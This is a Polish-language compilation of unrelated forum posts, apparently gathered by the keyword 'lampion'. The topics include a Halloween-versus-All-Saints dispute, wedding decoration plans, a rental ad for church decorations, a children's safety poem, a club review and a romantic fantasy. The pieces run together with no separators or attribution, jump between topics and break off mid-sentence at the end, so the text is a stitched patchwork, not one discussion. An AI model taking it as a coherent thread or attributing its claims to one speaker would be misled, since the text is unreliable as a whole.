szczerze mnie haloween wnerwia, tak samo jak wnerwia mnie mikolaj w wigilie...
to jest obca tradycja i juz...
jedna z hameryki druga od wielkiego brata zza buga
dziad mroz i dynia z lampionem zamiast znicza...
pielegnujmy swoje a nie zachwycajmy sie tym co niesie trend...
ja sie nie przebieram i nie imprezuje
jutro ide zapalic na grobie swieczke tym ktorych kochalam a ktorych juz ze mna
nie ma i za nimi tesknie mysle dzis o nich a nie o przebraniu i balowaniu - nie
ten kontekst sytuacyjny...

elza78 napisała:

>> dziad mroz i dynia z lampionem zamiast znicza...

od kiedy znicze pali sie na grobach 31.pazdziernika? oczywiscie -
mozna zapalic i 31.pazdziernika i 17. maja i 3.lutego, ale tu chodzi
o konkretne swieto... Dzien Wszystkich Swietych jest 1.listopada a
Zaduszki 2.listopada... Halloween to swietowanie wigilii dnia
wszystkich swietych...

> pielegnujmy swoje a nie zachwycajmy sie tym co niesie trend...
> ja sie nie przebieram i nie imprezuje
> jutro ide zapalic na grobie swieczke tym ktorych kochalam a
ktorych juz ze mna
> nie ma i za nimi tesknie mysle dzis o nich a nie o przebraniu i
balowaniu - nie
> ten kontekst sytuacyjny...
>
szanuje, ale nie oznacza to, ze ktokolwiek popelnia nietakt, bo
tobie sie dni pomylily...

Miałam katalog Pawia w rękach. Paw osobiście okleja motywem tylko: torebki na
prezenty, świece, podkładki, płaskie podstawki na świece i lampiony do świeczek
do podgrzewacza.Paw nie dekupażuje a nakłada w inny sposób. Inne przedmioty
typu lampy, pudełka, zegary, wazony, paskudne świece robią jakieś inne firmy (o
ile pamiętam niemieckie)i pełno tego na hurcie. To te krzywo wycięte róże i
anioły. Ale nie martwiłabym się, nasze forumki są lepsze!

NIE z biura. Lampion (pracowalem na sezon w fabryce swiec) na Halloween.
Czyli dynia z wycietymi oczkami, noskiem i buzkia. WIELKOSCI NATURALNEJ!
Aha, jest oczywiscie tzw. bramka ktora niejednokrotnie robila rewizje osobiste.
Tak na marginesie, dyrektor po przeksztalceniach wlasnosciowych (wtedy to po
raz kolejny "zalapalem sie u Niemca") nakazal oczyscic magazyn z wyrobow
gotowych, zwrotow ze sklepow itp.
To wszystko to reczna robota, ceny w euro, przyprawiaja o bol glowy..
Czyszczono, przetapiajac. Wyczyszczono, naprawde ladnie. W srode kwestia:
-"Dynie tez?"
-"Mowilem wszystko, DYNIE TEZ!!!" (straszny furiat)
We wtorek okazuje sie, ze brak 800 (!) sztuk do kolejnego zamowienia. :)
PIEKNA, RECZNA ROBOTA.

Ciemności jesienne
Amerykanie drążą dynie i wstawiają w nie świeczki.
My zanosimy na groby znicze i zapalamy je.

Jestem od niedawna na zachód od Odry, kraj jak wiadomo głównie ewangelicki. 11
listopada ruszą pochody z lampionami w ramach św. Marcina...

Przepędzamy w listopadzie mrok jesienno-zimowy ciepłym światłem świeczek.
Trochę później zabłysną lampki choinkowe...

Abstrahując od religii, jej przejawów - wszystko to, by poczuć sie
bezpieczniej, gdy ziemię otulać zacznie ciemność...

Z pobieżnego przejrzenia - nie miałam czasu calości obejrzeć, bo
tego Pospieszalskiego musiałam przeczytać ;))))) - dla nastolatek,
bardzo lekka.
Marta Madera " Kroplówka z marzeniami"
" - Ale wiesz, najlepszą opowieść o dzieleniu się prawdziwą miłością
usłyszałam, jak byłam jeszcze bardzo młoda. Co śmieszniejsze, kazdy
z nas ją słyszy przynajmniej raz w roku, tyle że mało kto zwraca na
to uwagę. Uczestniczyłaś kiedyś w mszy w Wielką Sobotę, z
poświeceniem ognia i wody ?
- No pewnie!- potwierdziłą Lilka. Oprócz rorat, na które chodziła z
dziadkiem ciemną nocą przez uśpione jeszcze ulice Mielca, z
kolorowym lampionem w drżącej z porannego chłodu dłoni, msza w
Wielką Sobotę była jednym z najwspanialszych wydarzeń roku. Nauczyły
się z babcią wciskać do kościoła zaraz za procesją i obserwować, jak
płomienie świec obejmują w posiadanie zaciemnioną światynię. A
później pojawial sie błysk światła, rozbrzmiewały organy i potężny
śpiew.
Dla Lilki najpiekniejsze doznania religijne zdecydowanie mialy coś
wspólnego ze swiatłem, ciemnością i płominiami świc.
Dla cioci chyba także.
- Jest taki fragment w pieśni pochwalnej Chrystusa- Światła o
naturze ognia. " dzieli sie on, nie doznając uszczerbku". Pamiętasz
to ? "

tak naprawde to wesele bedzie dla wszystkich gosci i chcielibysmy zeby
wszystkim sie podobało nie ma byc to szalona impreza.zdajemy sobie sparawe ze
nasi goscie beda w róznym wieku muzyka także bedzie różnorodna a wieczorem
wspanala zabawa duzo świec lampionow na zewnatrz i jak najwiecej zadowolonych i
usmiechniętych gości.

Ciemność w centrum
Co myślicie na temat oświetlenia centrum naszego miasta? Plac Jana
Pawła II i deptak przed galerią Sarel. Chyba jest trochę za ciemno.
Małolaty schadzki sobie robią a starsi ludzie boją się tamtędy
przejść. A te lampiony okrągłe to chyba są na pokaż a nie do
oświetlenia drogi. Świecą jak świeczki.

Wieczór przy świecach (świecy) nawet w pojedynkę m
Parmesan napisał:
"Wieczór przy świecach (świecy) nawet w pojedynkę może być przyjemny ".

Parmesan:
też spędzam wieczory balkonowo/przyświecowe.
Balkon jest mój, świeca jest moja - a lampion jest Mandowy.
Mandy mi go dała = jak zimą, z Zakopanego, wracałam.
(Jechałam, pociągiem, przez Jej miasto. Mandy na dworzec przybiegła, 2 minuty
ze mną rozmawiała, w minucie trzeciej dała mi lampion - a potem pociąg ruszył ).

Ten lampion:
jest taki śliczny = że ciągle się dziwię, że mi go dała ( że jej nie było żal!).

Ilekroć lampion świeci = tylekroć mi przypomina o Mandowym darze dzielenia się.
...
W Mandowym lampionie= świeczka (duża) też była - ale się wypaliła.
...
Widzę dużą różnicę między świeczkowaniem solowym a duetowym.
Jak myślisz = który preferuję?

Anegdota - czyli ED, to nie siedzenie w domu.
Jak dziecko edukowane domowo wymienia żarówkę?

Najpierw mama przegląda trzy książki na temat elektryczności, które wcześniej
wypożyczyła z biblioteki, a dziecko przygotowuje model żarówki. Potem wspólnie
zapoznają się z biografią T. A. Edisona, który zresztą sam był edukowany
domowo, i poznają historię oświetlenia. Następnie dziecko własnoręcznie robi
lampion do swojej świeczki, po czym udaje się do sklepu wraz mamą, rodzeństwem
czy kolegami, gdzie porównuje rodzaje żarówek i ich ceny. W myślach dokonuje
obliczeń, ile może kupić danych żarówek za 20 złotych. Po kupieniu odpowiedniej
żarówki, dziecko wraz z mamą i kolegami dyskutuje w domu nad postacią króla
Bolesława Chrobrego, którego podobizna widnieje na banknocie
dwudziestozłotowym. Potem poznają kraje, w których wciąż istnieje monarchia i
pokazują je na mapie.
A potem ...wymieniają spaloną żarówkę.

pietruszewskih napisał:

> Jak dziecko edukowane domowo wymienia żarówkę?
>
> Najpierw mama przegląda trzy książki na temat elektryczności, które wcześniej
> wypożyczyła z biblioteki, a dziecko przygotowuje model żarówki. Potem wspólnie
> zapoznają się z biografią T. A. Edisona, który zresztą sam był edukowany
> domowo, i poznają historię oświetlenia.

> Następnie dziecko własnoręcznie robi
> lampion do swojej świeczki, po czym udaje się do sklepu wraz mamą, rodzeństwem
> czy kolegami, gdzie porównuje rodzaje żarówek i ich ceny. W myślach dokonuje
> obliczeń, ile może kupić danych żarówek za 20 złotych. Po kupieniu
odpowiedniej żarówki, dziecko wraz z mamą i kolegami dyskutuje w domu nad
postacią króla Bolesława Chrobrego, którego podobizna widnieje na banknocie
> dwudziestozłotowym. Potem poznają kraje, w których wciąż istnieje monarchia i
> pokazują je na mapie.

Zapytam złośliwie: robią to wszystko po ciemku? PPPPPPP
(to jest żart, jakby ktoś nie "zakumał").

Owszem, jest to fajne, przyjemne, niemniej jednak niektóre sprawy naprawdę nie
wymagają naukowych wyjaśnień. Mogą być pretekstem do "edukacji", mimo wszystko
wydaje mi się to jakoś "na siłę", ale to jest moje odczucie.

Tumisiu - jesli
uwazasz, ze trzeba zgasic tutaj - zapal mala swieczke (lampke lub lampion) w innym miejscu. Tak dla zablakanych i zmeczonych wedrowcow.
Po ciemku trudno pisac ale sie staram.

W sporze - moim zdaniem - chodzi o odpowiedzialnosc za wlasne slowa, za to jaka nimi krzywde czynimy drugiemu czlowiekowi. Chodzi tez o mimimum pokory - bo tyle trzeba miec by uznac ze sie zawinilo.
Ja mam duzy wstret do manipulacji. Nie uzywam - bo nie lubie gdy inni uzywaja wobec mnie. Nie czyn drugiemu ... itd.
Na forum trudno "po czynach" poznac

rozdzial trzeci:

A w poniedziałek prąd wyłączono,
mrok okrył pokój - zgasła żarówka.
Jak to się stało? Nic nie wiadomo.
Za oknem była jeszcze szarówka.

Nie podobało się to Koali,
który rysunki robił ciekawe.
"Dlaczego światło już się nie pali?
Dlaczego psuje moją zabawę?"

Mama udała się do komórki,
poszukać świeczki oraz zapałek,
synek ze sprytem zwinnej wiewiórki,
na stół i krzesło wspiął się z zapałem.

Już do lampionu łapka sięgała,
już pod pazurkiem drżała żarówka,
gdy nagle jasność wokół nastała,
lecz nie od światła, to był blask duszka.

Znów w porę dotarł przyjaciel mądry,
żeby z opresji wybawić druha.
"Co by się stało, gdybym nie zdążył?
Lepiej nie myśleć, lecz nadstaw ucha.

Nawet gdy zniknie prąd, bać się musisz,
gdy chcesz w oprawkę wciskać pazury,
bo kiedy nagle prąd tam powróci,
nic nie zostanie z twej pięknej skóry.

W tym nie pomoże zwinność i spryt,
więc przestań by cię nikt nie wspominał
słowami, których i słuchać wstyd:
"głupi był bardzo, więc głupio zginął"

Koala smutne opuścił oczy
i na podłogę powrócił w mig.
Chciał do wybawcy powiedzieć o czymś
ale nie zdążył, bo duszek znikł.

c.d.n.

Cały czas w tej dyskusji zapominamy o tym, że Halloween'owe zabawy odbywają się
dzień wcześniej, 31.10. Fakt, niefortunna dosyć zbitka - dlatego tak uwiera.
Myślę, że gdyby szaleństwo to odbywało sie w innym terminie, mało kto miałby
coś przeciw niemu. Nie jestem za ślepym kopiowaniem obcych wzorców, warto się
zastanowić na ile pasują do naszych realiów, temperamentów, kultury, ile
nowego, ciekawego czy wartościowego mogą wnieść w nasze obyczaje. Potępianie i
odrzucanie wszystkiego obcego jak leci pachnie ksenofobią, bezkrytyczne
kopiowanie - wiadomo, 'papuga narodów'. A może by tak 'złoty środek'?
Dla wyjaśnienia - nie specjalnie pasuje mi adaptowanie Halloween do naszego
kalendarza świąt, ale dynię ze świeczką w środku stawiam na balkonie drugi rok -
jej drążenie i wycinanie to wielka frajda, którą raczymy się z córką:-)
Taki 'lampion' z jego ciepłym i drżącym światełkiem to również element
dekoracyjny - ładnie byłoby na naszych ciemnawych osiedlach, gdyby świeciło ich
trochę więcej.

1.szklankę pomalować farbkami do szkła lub okleić bibułką lub owinąć przejrzystą szmatką -będzie wazonikiem lub lampionem (tylko trzeba włożyć doń maleńką świeczkę ) 2.napełnić kilka szklanek wodą w różnej ilości -uderzać miękką pałeczką - instrument nr 1 lub zamoczonym palcem przesuwać po brzegu szlkanki -instrument nr 2 ( ale próbowałam tylko z kieliszkiem ,może szklanka też "zaśpiewa"?) 3.wkopać szklankę w ziemię(piasek)-będzie dołkiem dla małej piłeczki (mini golf) Na razie tyle mam pomysłów .Widziałam w księgarni księgę doświadczeń Laroussa ,kilka lat temu wydane były przez Cyklady takie książki(nie mam ich niestety ,ale będę szukać): "Pierwsze doświadczenia naukowe przedszkolaka" i "Zabawy matematyczne i logiczne w przedszkolu ". pozd.Bea

Teodoro Lampion świeć nam dalej. 100 lat zywotności.:-)

Witam,
W związku z pogrzebem Papieża na większości forów nienaturalne ożywienie
panuje. Co jest naturalne. I piękne, że ludzie spontanicznie chcą wyrazić
szacunek i pamięć okazać.
Czasami z szacunkiem forumowiczom plączą się i inne zgoła motywy.

Na przykład meteorologiczne i etetyczne…
- naprawde warto przyjść im więcej ludzi tym lepiej będzie to niezapomniane
przeżycie, żeby tylko deszcz nie padał;
- też tam będę choć nie mam zbytnio w szafie białych strojów ale to nic. troche
tylko jak na razie pogoda nam nie dopisuje

…mesjanistyczne…
- wezcie ze soba znicze albo jakies lampiony, by ich swiatlo oswietlalo nam
nasza droge zycia

…lingwistycznie niestosowne…
- Planujemy również, abyśmy na nabożeństwo przynieśli żółte, bądź białe
tulipany, a po czuwaniu udali się pieszo pod pomnik Jana Pawła II na Zaspie i
złożyli mu w ofierze kwiaty, świece oraz modlitwę
- Pomodlić się za duszę - rozumiem, zapalić świeczkę ok. ale składać ofiary
Papieżowi?!?!?! No bez przesady

…niestosowne humorystycznie…
- W piatek wroclawscy zuzlowcy odbeda trening na stadionie. Przeciez to
calkowity brak taktu!!!
- Nie wierzę, żeby to było możliwe - żaden motocykl się nie zgodzi!

… czy też dezorientację wyrażające:
- dzis na ul. Jana Pawła II zapalmy swieczki...
- jutro a nie dzis!!!!
- jak się wkońcu zdecydujecie to dajcie znać jednoznacznie
- może być dziś, jutro, ale w CZWARTEK o 21:00 wszędzie, każdy po jednej
świeczce

***
To wspaniale, że tylu ludzi chce Papieżowi szacunek okazać. Nieładnie, że staje
się to okazją do żarcików niewczesnych.
Cóż, ‘wioska globalna’. Taka jest cena braku cenzury - dopisać opinię może
wszak każdy: i dziewczę egzaltowane, i frustrat o wątpliwym poczuciu humoru.
Z dwojga złego jednak ten wariant wolę, niźli superpoprawny model ‘białoruski’.
Bo do czytania głupich postów nikt przecież nie zmusza. Tym bardziej do ich
komentowania.

Pozdrawiam z szacunkiem
cat_s
/cytaty z kilku forów regionalnych losowo wybrane/

świeczki powiadasz?
uwielbiam...uwielbiam wszelkie świeczki,lampiony,ten anstrój
jakie świeczki lubisz zapalać?

a oto co sie pisze o vulevu
Każdy weekend w innej knajpie

Pluszowe kanapy, kudłate sofy, włochate ściany i kolumny wyznaczają nową
przestrzeń klubu Vulevu (ul. Świdnicka 53 - pasaż obok hotelu Holiday Inn),
który od maja ubiegłego roku zachęca wrocławian do clubbingu.

Czy ta rozrywka propagowana w klubach warszawskich przyjmie się w naszym
mieście? - Chcemy dać mieszkańcom Wrocławia szansę na spokojnie spędzony
wieczór poza domem - mówi manager klubu Daniel Czaja. - Zależy nam na
bezpieczeństwie gości, komforcie zabawy i lekkiej muzyce.

Klub szczyci się odnowionym wnętrzem, który przypomina klasyczny design
amerykańskich klubów tanecznych z lat 50. i 60. Gości wita symbol z tamtych
lat, nadnaturalnej wielkości roześmiana Marilyn Monroe. Vulevu to klub dla
miłośników dobrej muzyki, którą podają stali wrocławscy DJ. Na pewno nie
brakuje w nim bardzo wygodnych, zacisznych miejsc do siedzenia i rozmowy.
Wszystkie loże można w środy i czwartki zarezerwować za darmo. Wieczorami klub
rozjaśnia się światłem świec, lampionów i klasycznych żyrandoli, które odbijają
ciężkie lustra.

- Czekamy na wybrednych, znudzonych i rozczarowanych innymi klubami gości -
przyznaje Czaja. - Wystrój naszego klubu służy do nawiązywania fajnych
znajomości i gwarantuje udany podryw - śmieje się.

Zakamarki i lustra do podglądania parkietu oraz niespodziewanie rozmieszczone
telewizory i telebimy urozmaicą wieczór również samotnym. - Nie chcemy być
natrętni, goście muszą to poczuć. Na ich życzenie możemy nawet wyłączyć muzykę
w zamówionych lożach. Klub reklamuje, że ma najkulturalniejszą ochronę w
mieście, która w dyskretny sposób dba o bezpieczeństwo gości, oraz 140
komfortowych miejsc do siedzenia. Warto to sprawdzić.

ja mogę poświecować. do wyboru świeczki, gromnice, lampiony...wszystko co się
zmieści do ucha....zapraszam

ogromy wybór recznie wykonanych przedmiotów
Oferuję: lampy orientalne, lampy nocne, lampiony. Z sosny (khasi pine),
bambusa, drewna egzotycznego, bawełny, papieru czerpanego – morwowego.
Oraz zestawy świec dekoracyjnych i kadzideł

albo jakis fajny lampion, ozdobna swieczka ladnie zapakowana itp.
moim sie podobalo...

gnido, łośku, szczygo (strzygo;) ) żuczku gnojarku, moja koleżanka podczas
kłótni z braku argumentów spoglądając na najbliżej stojącą świeczkę
wykrzyknęła: "Ty lampionie!"

Nowość!

Chcą Państwo, aby kościół w dniu Państwa ślubu wyglądał niebanalnie i gustownie. Natomiast budżet ślubny przeznaczony na dekorację nie jest zbyt wygórowany. Może dobrym pomysłem jest, aby wypożyczyć pewne elementy dekoracji. Mogą Państwo zachwycić swoich Gości i stworzyć cudowny nastrój w kościele, jednocześnie zrobić to małym kosztem. Może kuzynka, ulubiona ciocia lub kreatywne koleżanki pomogą przy stworzeniu wymarzonej dekoracji kościoła.

Mogę Państwu zaoferować wypożyczenie niżej opisanych elementów dekoracji na uroczystość Ślubu:

-dywan do kościoła ( kolor czerwony, długość 16 metrów ) - cena 175 zł.

- stojaki do kościoła ( gustowne, wysokie stojaki, mogą służyć jako wysokie świeczniki lub stojaki do kompozycji z kwiatów żywych i sztucznych, 10 sztuk ) - cena 150 zł.

- wianuszki do ozdobienia ławek w kościele ( kolor biały, bardzo delikatne, z powiewającymi tasiemkami, 40 sztuk ) - cena 60 zł.

- tiule do ozdobienia ławek w kościele ( kolor biały, delikatne, bardzo łatwe mocowanie, 30 sztuk ) - cena 150 zł.

- lampiony na małe świeczki ( mogą rozświetlać kościół i najczęściej ustawiane są przy każdej z ławek kościoła, wysokość 7 cm. 40 sztuk ) cena 60 zł.

- poduszeczka na obrączki ( kolor biały, obszyta koronką, biała tasiemka ) - cena 15 zł.

- wiklinowy koszyk na pamiątki ślubne, które Pary otrzymują od Gości po wyjściu z kościoła - cena 15 zł.

I wiele innych elementów dekoracji ( kolorowe tasiemki, świeczniki, stroiki na ławki, wazony )

W miesiącach od stycznia do kwietnia a następnie od października do grudnia mogą Państwo liczyć na ceny rabatowe.

Jeśli będą Państwo zainteresowani proszę o kontakt mailowy lub telefoniczny.

Chętnie prześlę zdjęcia wypożyczanych elementów dekoracji.

tel. 0502505833
mail: m.szafarek@malinowymus.pl
gg: 6173960
www.malinowymus.pl

Jannik, bardzo dziekuje za informacje. Nasza konkurencyjna wobec Pawlowic
propozycja jest wlasnie ArtHotel, ale nie sala z fortepianem (tzw. Teatralna),
ktora bez dwoch zdan jest po prostu piekna, tylko sala pasaz slonca, ktora
miesci 100 osob i jest w nowej czesci. Jest zwykla, moim zdaniem przynajmniej.
Tyle, ze miesci sie w luksusowym hotelu i ze jest tam bezkonkurencyjna pani
Magda i ze jest wspaniale menu. Jak pisalam poprzdnio jednym z minusow przy
Pawlowicach byl charakter sali bankietowej - wrazenie okazalo sie mylne,
dzisiaj ogladalismy te sale jeszcze raz w sztucznym oswietleniu i wygladala
naprawde bardzo dobrze, poza tym podobno sama restauracja na zyczenie
organizuje pochodnie, sami chcelismy tez dac tam mnostwo kwiatow i swiec.
Zreszta park od strony tarasu jest sam z siebie dobrze oswietlony. Lampiony to
tez jest super pomysl! Tylko w tej chwili zastanawiam sie nad innym minusem,
mianowicie takim, ze musialabym usadzic ludzi w dwoch roznych pomieszczeniach,
w czesci centralnej wejdzie okolo 60 osob, czyli ze 30 musialabym usadzic w
lewym skrzydle. Natomiast w prawym odbywaja sie tance - administratorzy
twierdza, ze mimo wrazenia, ze jest ciasno mozna swobodnie tanczyc. No wlasnie,
wowczas te osoby siedzace osobno, calkiem slusznie, beda sie czuly odizolowane,
nie mogac uczestniczyc chociazby w ogolnej rozmowie przy obiedzie albo w
toastach (chocby pasywnie). Plusy w postaci parku, pleneru i atmosfery miejsca
sa oczywiste, wiec o nich nie pisze. No, powiem Wam, ze wybor jest strasznie
trudny...
P.S. Piekne zdjecia i troche historii jest rowniez na:
wroclaw.hydral.com.pl/1325,obiekt.html

Czy modnie, nie wiem. Na pewno wygodnie. Zawsze mnie uczono, że projektowana
przestrzeń ma być przede wszystkim funkcjonalna (o co tak trudno w dzisiejszym
polskim budownictwie). Jesteśmy wreszcie na naszym :-) dlatego mogłam dać upust
mojej twórczości i olałam ogólnie przyjęte trendy wciskane przez większość prasy
dla jazzy elity (czytaj starannie zaaranżowane „sale ekspozycyjne”, gdzie nie ma
miejsca na jakiekolwiek oznaki życia w postaci czajnika na płycie kuchennej czy
kufla po browcu w kąciku wypoczynkowym, a każda mizerna półka z kilkoma tomami
na krzyż i znaczną większością kolorowych pism od razu nazywana jest
„księgozbiorem”). Takim bezdusznym wystawom mówimy stanowcze NIE!
Nasze mieszkanie jest przytulne i funkcjonalne: niemała salono-jadalnia z
aneksem kuchennym (sprzęt rtv nie najnowszej generacji ale ma się dobrze i
ogólnie olewka ;-P), spory balkon, nasz duży sypialnio-biuro-atelier, pokoik
córci, całkiem spora łazienka z oknem i dużą dwuosobową wanną otoczoną laskiem
paproci i chińskimi bibelotami (czasami świeczkami), przestronny korytarz i
wszystko to w 63m2! Wszędzie dominuje biel i ciepłe drewno (grusza, klon,
brzoza, sosna) przełamana kolorami dodatków. Nie ma dywanów ani zasłon
(postawiliśmy na rolety i żaluzje drewnopodobne). Dużo mebli i lamp z IKEA,
czyli wzornictwo skandynawskie :-) Szafy wnękowe wzorowane na japońskich shoji
(monterzy zachodzili w głowę co za wariatka domaga się zwykłej białej płyty MDF
gęsto poprzecinanej ciemnymi szprosami i nie chce skrzydeł z lustrami, szkłem
mlecznym i innymi trendnymi bajerami). Na ścianach grafiki japońskie i chińskie,
reprodukcje dzieł Klimta oraz ikony. Na suficie papierowe klosze, stalowe lampy
i japońskie lampiony. Jednak najważniejszym elementem tudzież naszą dumą jest
biblioteczka: 2,5m x 2,6m, osiem kondygnacji po dwa lub trzy rzędy gęsto
poukładanych książek i albumów na każdej, przeszklone skrzydła - bo dom bez
książek to smutny dom, a bez super płaskiej plazmowej TV można się obejść :-) No
i jest jeszcze barek. Szkoda tylko, że ostatnio świeci pustkami ;-)

...potrzebny:
- didżej;
- lampiony,ze swieczkami zapachowymi;
- panowie do odkręcania korków;
- pianista i chórek.

ale zacofanie
lampiony z kartonu wycie, trzeba przecież do tego swieczki jakies...
a nie prosciej chińskie latareczki za grosze i odblaski!

Andreas, kliknij na miniaturkę lampionu, to doczytasz, że w środku jest
żarówka, a nie świeczka...

Kasiu, przecież my Ciebie pamiętamy. A nawet jeśli byśmy nie
pamiętali, to i tak pomoglibyśmy. Choć ja w tym wypadku nie pomogę.
Moja 7-latka przyniosła lampion, kóry zrobiła w szkole :-)) Zawsze
nosiliśmy tylko świeczki. Teraz jest cała dumna z własnej pracy ;-)

W mojej obecnej parafii świeczki są w ogóle zakazane. Tylko lampki i latarki.
W zaszłym roku kupiliśmy w sklepie "wszystko po 4 złote" za chyba 6 złotych ;)
lampkę udającą latarnię naftową. Synek pomalował ją farbami witrażowymi.
Niestety już w pierwszej połowie adwentu lampka odmówiła posłuszeństwa.
Zrobiliśmy więc "Lampion zastępczy"
Plastikowe pudełko po rozpuszczalnym kakao (z ciemnobrązowego plastiku).
W dnie wycięta dziura, przez którą przejdzie uchwyt latarki (wkłada się po
odkręceniu zakrętki) W ściankach wycięte dowolne figury (my mieliśmy krzyż).
Od wewnętrznej strony zakrętki dwustronną taśmą klejącą przykleiłam lusterko
(latarka miała słabe światło, dodatkowo tłumione przez ciemny plastik. Lusterko
trochę to światło wzmacniało)
Zakręciliśmy zakrętkę i okleiliśmy dwustronną taśmą klejącą z zewnątrz. A potem
raz po razie owinęliśmy cienkim srebrnym łańcuchem choinkowym (wiecie, takie
"igiełki" jak szczotka do butelek, tylko oczywiście mniej sztywna. Najmniejszy
rozmiar łańcucha.) Może nie był to szczyt artyzmu, ale przynajmniej dotrwał do
konca rorat. Najgorsze było to, ze baterie w latarce zbyt szybko się
wyczerpywały a na mrozie latarka w ogóle nie chciała świecić. Myslę, ze ten
problem jest do obejścia przez zastosowanie innych baterii i lepszej latarki.
Był u nas konkurs na najlepszy lampion.
Wygrała dziewczynka, która miała lalkę wbitą na wysoki kij, jak na pal, ale na
koncu kija (a tym samym, w brzuchu lalki) była latarka, czy moze żaróweczka.
Lalka była przebrana za aniołka (powłoczysta sukienka, skrzydła) Rzeczywiście w
ciemności wyglądało to wspaniale, taki podświetlany od środka aniołek. Dopiero
po zapaleniu światła traciło swój urok.

A ja lubię halloween. Z małym zrobiliśmy powycinaną dynię,mamy jego pokój
ozdobiony dyniowymi lampionami, świeczkami, na ścianach wiszą duchy,
nietoperze, pająki.

lampiony lepiej zdobić od zewnątrz - dla bezpieczeństwa przeciwpozarowego. nawet
do świec są specjalne= niepalne preparaty

Informacje dodatkowe
Chcialabym, zeby cala dekoracja byla polaczeniem koloru fioletowego,
srebrnego i bialego.
Jestem na etapie poszukiwan bialych pokrowcow z fioletowymi
kokardami, ale wydaje sie niemozliwym znalezienie takowych wiec mam
zamiar wypozyczyc biale pokrowce, a do nich dokupic fioletowa
organze i sama zawiazac fioletowe kokardy.
Stawiam na duzo swiec, srebrnych kamyczkow na stole, w sali
tanecznej na parapetach beda swiece w misach z woda wraz z platkami
kwiatkow oczywiscie fioletowych.
Serwetki beda biale, ale tasiemke chcialabym, zeby mialy fioletowa i
zeby byly zlozone na ten wzor:



Alkohol na naszym weselu to:
Szampan Moet&Chandon Nectar imperial
Wodka Ruski Standard
Rum Havana Club
Wino przywiezione w listopadzie z hiszpanskiego regionu Ribera del
Duero

Ja nie przykladam zbytniej uwagi do kwestii alkoholu, ale moj N tak
wiec wszystkie pozycje byly wedlug jego wyboru.

Z atrakcji dla gosci planowalismy lampiony. W kolorach bialym i
fioletowym, ale teraz jest problem z wlascicielem Palacu, ktory boi
sie oto, ze to jednak drzewiasty teren i mogloby dojsc do jakiegos
pozaru.
Ja te argumenty rozumiem i szanuje. No nic, bedziemy dalej myslec...

Oprocz tego mamy w planach czekoladowa fontanne. Nie martwie sie o
dzieci, bo na naszym weselu przewiduje je w ilosci: 1.

Moj N ma w planach wypalenie cygara razem z innymi goscmi plci
meskiej. Jest to tradycja w jego regionie i bardzo chcielibysmy ja
przeniesc na polski grunt. Mysle, ze kazdemu sie spodoba. Oczywiscie
mowie o osobach palacych

To chyba tyle narazie...Pytajcie, a odpowiem na prawie kazde
pytanie

2. Świeczniki

Małe dynie wydrążamy z miąższu, stroimy koralikami, owocem jarzębiny lub
wycinamy otworki. Wkładamy świeczki i lampion gotowy.

To nie były fajerwerki tylko balono - lampiony lub lampiono - balony :)
Wydaje mi się że spadają po wypaleniu się świeczki więc chyba są bezpieczne.

gdzieś przeczytałam, że ten świecznik z siedmioma świecami jest
świecznikiem adwentowym. Siedem świec symbolizuje siedem dni każdego
tygodnia.

U nas jest lampion roratni i wieniec adwentowy :)

oczywiście że widziałem , nawet z dosyc bliska . Te kule to lampiony
ze świeczką w srodku . Działają jak balon na ogrzane powietrze . W
lipcu - sierpniu 2008 latały często . Żadne UFO . Ale kto i po co je
puszczał - nie wiem .

wszedzie kryształy:)
Widziałam juz jeansy ozdobione kryształkami, teraz pisali w Elle
Decoration, że wchodzi linia lampionów ze świeczkami zapachowymi,
która jest nimi ozdobiona. Ja do tej pory miałam tylko najlejany
tatuaż z literka F;P

(widzę, że był chętny do naszego iglo :-), no cóż nie pasuje do
końca do romantycznej koncepcji :-)).

Wchodzimy do środką oniemieli, mocniej ściskasz moją rękę. Przed
nami roztacza się wspaniały widok ....
Ściany wyłożone skórami, na środku głównego pomieszczenia wesoło
pali się małe ognisko, dookoła rozstawione są ławy z polerowanego
lodu przykryte również skórami. Na ścianach lśnią rzeźby
przedstawiające dzikie zwierzęta, lustra, wokłó lampiony a blask
świec odbijając się po tysiąckroć nadaje wrażenie pałacu światła.
Stajesz oniemiała, oczy roześmiane, tulisz się do mnie w
zachwycie ...
podaję Ci rękę, przytrzymujesz ją silnie, a ja delikatnie ale
zdecydowanie prowadzę Cię gdzieś dalej.
Podchodzimy bliżej, wpaniale zakryta przed postronnymi oczyma, stoi
jeszcze jedna ścianka pięknie rzeźbiona, są kwiaty, drzewa, okno
zasłonięte przepiękną lodową firaną, jest i kolejna skóra ...
odsłaniamy ją delikatnie przepuszczam Cię przode, podtrzymując w
talii i.... jeszcze krok, kroczek ...
i stajesz oniemiała ..
przed nami pięknie urządzona, wspaniała lodowa sypialnia. Na
ścianach wyrzeźbione postacie, młodzi ludzie zajmujący się
igraszkami, jakieś rośliny, na suficie ... widać nawet ptaki, różne
jakby nie z tej bajki, kolorowe, rozśpiewany.
Jest to azyl w tej pustyni śniegu i lodu.
Na środku pokoju znajduje się wspaniałe wielkie łoże, wspaniale
wyprofilowane, ozdobione milionami małych rzeźb. Na łożu jest
rozścielonych setki mięciutkich skór ...
Delikatnie obracam Cię do siebie ... przymykasz oczy ... obejmuję
Cię i przyciskam do siebie ....
moje ręce ożywiają się i delikatnie masują Twoje ramiona, Twoją
szyję, Twoje włosy ...
delikatnie rozchylasz usta ...

małe szklaneczki z pływającymi świeczkami wychodzą wtedy lampiony. Bardoz ładne

beata_ napisał(a):

> Cały czas w tej dyskusji zapominamy o tym, że Halloween'owe zabawy odbywają się
>
> dzień wcześniej, 31.10. Fakt, niefortunna dosyć zbitka - dlatego tak uwiera.
> Myślę, że gdyby szaleństwo to odbywało sie w innym terminie, mało kto miałby
> coś przeciw niemu. Nie jestem za ślepym kopiowaniem obcych wzorców, warto się
> zastanowić na ile pasują do naszych realiów, temperamentów, kultury, ile
> nowego, ciekawego czy wartościowego mogą wnieść w nasze obyczaje. Potępianie i
> odrzucanie wszystkiego obcego jak leci pachnie ksenofobią, bezkrytyczne
> kopiowanie - wiadomo, 'papuga narodów'. A może by tak 'złoty środek'?
> Dla wyjaśnienia - nie specjalnie pasuje mi adaptowanie Halloween do naszego
> kalendarza świąt, ale dynię ze świeczką w środku stawiam na balkonie drugi rok
> -
> jej drążenie i wycinanie to wielka frajda, którą raczymy się z córką:-)
> Taki 'lampion' z jego ciepłym i drżącym światełkiem to również element
> dekoracyjny - ładnie byłoby na naszych ciemnawych osiedlach, gdyby świeciło ich
>
> trochę więcej.

Beato, widzę że czytujesz uważnie wszystkie listy. Mówiłam , że Haloween to 31
